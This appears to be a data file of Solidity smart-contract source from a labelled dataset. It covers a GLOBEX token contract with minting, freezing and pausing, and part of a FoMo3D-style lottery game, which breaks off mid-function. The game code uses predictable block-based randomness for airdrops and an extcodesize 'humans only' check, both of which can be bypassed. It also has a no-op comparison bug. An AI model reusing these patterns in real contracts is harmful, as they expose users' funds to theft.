address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 8;
uint8 public constant TOKEN_DECIMALS_UINT8 = 8;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "GLOBEX";
string public constant TOKEN_SYMBOL = "GEX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xFB3F321f4BC12640a05a710b11Ec86FF55dA2699;
uint public constant START_TIME = 1540476000;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,294 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
DiviesInterface constant private Divies = DiviesInterface(0x53EbD27d72a35eC520E9859258FaC7c64dbd0b09);
JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x57fccA4371243C56266a36936a3689F80b981052);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x973C83919836cca35dd0f4B2a50103e8F4B858Cc);
string constant public name = "tkey";
string constant public symbol = "F3D";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
uint256 referralTotalProportion = 20;
mapping (uint256 => uint256) public referralProportion;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(26,0);
fees_[1] = F3Ddatasets.TeamFee(33,0);
fees_[2] = F3Ddatasets.TeamFee(56,0);
fees_[3] = F3Ddatasets.TeamFee(41,0);
referralProportion[0] = 10;
referralProportion[1] = 6;
referralProportion[2] = 4;
potSplit_[0] = F3Ddatasets.PotSplit(30,0);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(40,0);
potSplit_[3] = F3Ddatasets.PotSplit(35,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function isInICOPhase()
public
view
returns(bool)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return(false);
else
return(true);
else
return(false);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_gen = _gen.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 referralProportionAccumulator = 0;
uint256 i = 0;
uint256 _aff;
while (_affID != _pID && plyr_[_affID].name != "" && i < 3) {
_aff = _eth.mul(referralProportion[i]) / 100;
